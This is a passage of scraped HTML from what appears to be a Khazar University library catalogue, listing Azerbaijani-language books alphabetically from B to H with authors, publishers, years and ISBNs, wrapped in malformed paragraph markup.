9952801602</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Baybəyim, A. Bir vətəndən başqa nəyimiz var ki. Bakı: El-Alliance, 2002. ISBN: 9952810172</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bədəlov R. Otuz üç pillə yuxarı. Bakı: Tutu, 2004. ISBN: 9952422032</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Banişevski olduğu kimi. Bakı: Nağıl Evi, 2002. ISBN: 9952210027</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bələdiyyə büdcəsini necə təhlil etməli ? &nbsp;Bakı: “Ekspert” jurnalı, 2004. ISBN: 9952803141</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bələdiyyə büdcəsinin şəffaflığı. Bakı: İqtisadi Tədqiqatlar Mərkəzi, 2004. ISBN: 9952805705</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1195\"><strong>Bəşirov, İ. Şirkətlərarası rəqabət.</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2010. ISBN:</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Birləşmiş Millətlər Təşkilatının Qaçqınlar üzrə Ali Komissarlığının vəzifələrinə ümumi baxış. Bakı:&nbsp;Azərbaycan gənc hüquqşünaslar birliyi, 2005. ISBN: 9952408059</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Birləşmiş Millətlər Təşkilatının Qaçqınlar üzrə ali kommisiyasınin nizamnaməsi. Bakı:&nbsp; Azərbaycan&nbsp;gənc hüquqşünaslar birliyi. ISBN: 9952408048</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Birləşmiş Millətlər Təşkilatının konvensiyaları. Bakı: “Sipər” Hüquq Mərkəzi, 2004. ISBN: 9952805403</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Borçalı, Y. Fani dünya. Bakı: Steyk mətbəəsi, 2002. ISBN: 9952800606</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Braun, D. Davinci şifrəsi. Bakı: Qanun, ISBN: 9789952262834</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Büdcə bələdçisi. Bakı, Elm və həyat, 2003. ISBN: 9952802900</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Büdcə terminləri izahlı lüğət. Bakı: “Ekspert” jurnalı, 2003. ISBN: 9952803125</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Büdcə və təhsil. Bakı: “Ekspert” jurnalı, 2005. ISBN: 995280315X</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Büdcə-vergi sferasında şəffaflıgın təmin olunması üzrə tövsiyə. Bakı: CBS polygraphic production, 2005. ISBN: 995280753X</p><hr noshade=\"noshade\"><strong>C</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Cahangirli, H. Azərbaycan-Türkiyə. Bakı: Çaşıoğlu, 2004. ISBN: 9952270275</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Cahangirli, H. Müasir Dövrdə Azərbaycan Türkiyə Münasibətləri. Bakı: Araz, 2006. ISBN: 9952800185</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Caves, R. Transmilli müəssisə və iqtisadi təhlil. Bakı: “Ekspert” jurnalı, 2005. ISBN: 9952803168</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Cəbr və analizin başlanğıcı. IX sinif ( Məsələ və misallar həlli ilə). Bakı: Ocaq, 2005. ISBN 9952415060</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Cəbr: VIII sinif ( Məsələ və misallar həlli ilə). Bakı: Ocaq, 2005. ISBN: 9952415079</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Cəfərquliyev, M. Azərbaycan Respublikasının cinayət prosesi. Bakı: Yeni kitab evi,&nbsp;ISBN: 9952260059</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Cəfərli, M. Azərbaycan legion ədəbiyyatı. Bakı: Qapp-Poliqraf, 2005. ISBN: 9952806906</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Cəfərov, İ. Yetkinlik yaşına çatmayanların işləri və hüquqlarının müdafiəsi üzrə komissiyalar&nbsp;haqqında\" əsasnamənin kommentariyası. Bakı: Azərbaycan gənc hüquqşünaslar birliyi, 2003.&nbsp;ISBN: 9952408016</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Cəfərov, N. Azərbaycan: Heydər Əliyevdən İlham Əliyevə. Bakı: Çaşıoğlu, 2004.&nbsp;ISBN: 9952270224</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Cohen, B. Pulun coğrafiyası. Bakı: Məmmədli şirkəti, 2003. ISBN: 995240008X</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Corc Vaşinqton. Bakı: Yeni Nəsil, 2001. ISBN: 9952240074</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Cuisine Nationale Azerbaidjanaise. Baku: Nurlan, 2006. ISBN: 9952809131</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Çamuroğlu, R. İsmayıl. Bakı: Qanun, 2012. ISBN: 9789952263053</p><hr noshade=\"noshade\"><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>D</strong></p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Demokratiya vətəndaş cəmiyyəti QHT dünyası. Bakı: Üçüncü sektor Jurnalı, 2002. ISBN: 995280170Х</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dilbaz atı. Bakı, 2005. ISBN: 9952806507</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dildən-dilə, eldən-elə, 2006-McCann Erickson. Bakı:&nbsp; ISBN: 9952800649</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Diplomatiya və hüquq 1. Bakı: ISBN: 9952808605</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Diplomatiya və hüquq 2. Bakı: ISBN: 9952808636</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Diplomatiya və hüquq 3. Bakı: ISBN: 9952808612</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Diplomatiya və hüquq 4. Bakı: ISBN: 9952808629</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dostiyev, T. Köməkçi tarixi fənlər. Bakı: Xəzər Universitəsi, 2001. ISBN: 995220003Х</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dövlət Büdcəsi - Səhiyyə xərcləri. Bakı: CBS polygraphic production, 2005. ISBN: 9952803133</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Draker, P. Mənfəət güdməyən təşkilatların idarə edilməsi. Bakı: Nurlar, 2003.</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">ISBN: 9952403429</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dünyamalıyeva, S. Azərbaycan geyim mədəniyyəti tarixi. Bakı: Nağıl evi, 2003.</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">ISBN: 9952210140</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Dünya ilə bir canıq. Bakı: Nurlan, 2006. ISBN: 9952800177</p><hr noshade=\"noshade\">&nbsp;<strong>E</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ekoenergetika 1-2004. ISBN: 9952805500</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1159/1/page%201last.pdf\"><strong>Ekoloji epidemiologiya : səhiyyədə tətbiqi və tədqiqat metodları.</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2003. ISBN: 995220017X</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Elatlı, E. Axtar məni. Bakı: Elm, 2005. ISBN: 9952290233</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Elatlı, E. O gecə yağış yağırdı. Bakı: Xəzər Universitəsi, 2005. ISBN: 995220241</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Eldən Gələn oğul. Bakı: ISBN: 9952408136</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Elgün, E. Zirvəyə aparan yol. Bakı: Elm, 2003. ISBN: 9952290217</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Elm və texnika inkişaf tarixi. Bakı: Ayna Mətbuat Evi, 2001. ISBN: 9952230060</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1651/1/ELM%20ve%20SANAT%20book%201%20yeni.pdf\"><strong>Elm və sənət məclisi 1-10.</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2008. ISBN: 9789952200461</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1650\"><strong>Elm və sənət məclisi 11-20.</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2011. ISBN: 9789952200652</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Elmi əsərlər: elmi-nəzəri və ictimai-siyasi jurnal.№1-2. Bakı: AMEA Fəlsəfə, 2005. ISBN: 9952428030</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Elmin üç zirvəsi. Bakı: &nbsp;ISBN: 9952800665</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">English-Russian-Turkish-Azerbaijani dictionary of law terms. Bakı: Nurlar, 2004.</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">ISBN: 9952403356</p><hr noshade=\"noshade\"><strong>Ə</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əbülhəsən. Povestlər və hekayələr. Bakı: El-Alliance, 2006. ISBN: 9952810158</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əfəndioğlu, H. Yurd həsrəti. Bakı: Yeni Nəsil, 2002. ISBN: 9952240112</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əfəndiyev, İ. Üçlü Silah. Bakı : Qafqaz Universiteti, 2006. ISBN: 9952250339</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əhmədov, Ə. Maliyyə və birja Terminləri lüğəti. Bakı, Naksyana, 2006. ISBN: 9952809050</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əhmədov, İ. İqtisadiyyat: maliyyə üzərində qurulmuş dünya. Bakı: Ayna Mətbuat Evi, 2002. ISBN: 9952230125</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əhmədov, İ. Real iqtisadiyyat. Bakı: Ayna Mətbuat Evi, 2004. ISBN: 9952230168</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əhmədov, Y. Topxana meşəsində görüş. Bakı: Planet-Press, 2006. ISBN: 9952800681</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əkbərov, R. Azərbaycanın dövlət və hüquq tarixi. Bakı: Hüquq ədəbiyyatı, 2001.</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">ISBN: 9952404006</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əkbərov, М. Riyaziyyat nədir?. Bakı: Nurlar, 2003. ISBN: 9952403161</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ələkbərov, U. Ekologiya: dünyamızın buğünu və sabahı. Bakı: Ayna Mətbuat Evi, 2000. ISBN: 9952230028</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1069/1/Qacaq%20Isaxan%20dastani.pdf\"><strong>Ələmpaşalı, Z. Qaçaq İsaxan dastanı.</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2008. ISBN: 9789952200560</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1063/1/Qacaq%20Mahmud.pdf\"><strong>Ələmpaşalı, Z. Qaçaq Mahmud dastanı.</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2008. ISBN: 9789952200577</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əlibəyli, E. Azərbaycan televiziyası. Bakı: El-Alliance, 2005. ISBN: 9952290586</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əliyev, Ə. Beynəlxalq turizm hüququ. Bakı: NAT MMC, 2011. ISBN: 9789952803914</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əliyev, İ. Qeyri-kommersiya hüququ üzrə praktikum. Bakı: Patronat-S şirkəti, 2004.&nbsp;ISBN: 9952409101</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əliyev, M. Dövlət qulluqçularının pensiya təminatı haqqında Azərbaycan Respublikası qanununun&nbsp;kommentariyası. Bakı: Bakı Universiteti, 2005. ISBN: 9952428009</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əliyev, R. Din: əxlaqa aparan yol. Bakı: Ayna Mətbuat Evi, 2004. ISBN: 995223015X</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əliyeva, R. Azərbaycan toponimləri. Bakı: &nbsp;2002. ISBN: 9952220077</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Əliyeva, R. Zaqatalanın tarixi memarlıq irsi. Bakı:&nbsp; Qəsr, 2012. ISBN: 9789952807417</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Ərdəbil livasının müfəssəl dəftəri. Bakı: Nurlan, 2004. ISBN: 9952420012</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://dspace.khazar.org/jspui/handle/123456789/1675\"><strong>Əsədov, Ç.&nbsp; Azərbaycanda leykozların epidemiologiyası.</strong></a>&nbsp;Bakı: Xəzər Universitəsi, 2012. ISBN: 9789952200737</p><hr noshade=\"noshade\"><strong>F</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong></strong>Fəhmi, İ. Akvarium. Bakı: Qanun, 2012.&nbsp; ISBN: 9789952262537</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Fəlsəfə elmi-nəzəri jurnal № 1. Bakı: AMEA Fəlsəfə, 2005. ISBN: 9952428022</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Fərəcullayeva, M. Ulduzlar: elm və əfsanələr. Bakı: Ayna Mətbuat Evi, 2001. ISBN 9952230036</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Fizika: ümümtəhsil məktəblərinin 7-ci sinfi üçün dərslik. Bakı: Bakı nəşr, 2003.</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">ISBN: 9952801432</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Fizika: ümümtəhsil məktəblərinin 8-ci sinfi üçün dərslik. Bakı: Bakı nəşr, 2003.</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">ISBN: 9952801440</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Freyd, Z. Totem və Tabu. Bakı: Qanun, 2012. &nbsp;ISBN: 9789952262995</p><hr noshade=\"noshade\"><strong>G</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong></strong>Gənc hüquqşunas: ictimai—hüquq jurnalı. .№9-10. Bakı: Azərbaycan gənc hüquqşünaslar birliyi, 2005. ISBN: 9952408080</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Gənc hüquqşunas: ictimai—hüquq jurnalı. .№13. Bakı: Azərbaycan gənc hüquqşünaslar birliyi, 2005. ISBN: 9952408180</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Gənc hüquqşunas: ictimai—hüquq jurnalı. .№14. Bakı: Azərbaycan gənc hüquqşünaslar birliyi, 2006. ISBN: 995240820X</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Gənc hüquqşunas: ictimai—hüquq jurnalı. .№15. Bakı: Azərbaycan gənc hüquqşünaslar birliyi, 2006. ISBN: 9952408218</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Gənc hüquqşunas: ictimai—hüquq jurnalı. .№16. Bakı: Azərbaycan gənc hüquqşünaslar birliyi, 2006. ISBN: 9952408226</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Gənc hüquqşunas: ictimai—hüquq jurnalı. .№17. Bakı: Azərbaycan gənc hüquqşünaslar birliyi, 2006. ISBN: 9952408234</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Gənc hüquqşunas: ictimai—hüquq jurnalı. .№18. Bakı: Azərbaycan gənc hüquqşünaslar birliyi, 2006. ISBN: 9952408242</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Gənc hüquqşunas: ictimai—hüquq jurnalı. .№19. Bakı: Azərbaycan gənc hüquqşünaslar birliyi, 2006. ISBN: 9952408250</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Gənc vətəndaşın pasportu. Bakı: Məmmədli şirkəti, 2000. ISBN: 9952400012</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Global political economy: contemporary theories. Bakı: Məmmədli şirkəti, 2000.</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">ISBN: 9952400071</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Görkəmli insanların həyatı: tərcümeyi hal davam edir. Bakı: AMAA, 2006. ISBN: 9952800132; ISBN: 9952800135</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Gündüz, O. İnternet: Azərbaycan İnternet resursları. Bakı: STT company, 2004.</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">ISBN: 9952804334</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Güneyli, S. Təbriz. Bakı: Mingəçevir işıqları, 2004. ISBN: 9952804709</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Güngör, L. Qloballaşma şəraitində xarici investisiyalar. Bakı: Nafta-Press, 2005.</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">ISBN: 995280590X</p><hr noshade=\"noshade\"><strong>H</strong><br><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hajibayov, U. Mashadi Ibad (If not that one, it to be this one) -a musical comedy in 4 acts. Baku: \"Kitab Klubu\" Ltd, 2005. ISBN: 9952290101</p><p margin-bottom:7.5pt;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Hamlet İsaxanlı : Biblioqrafiya. Alim, 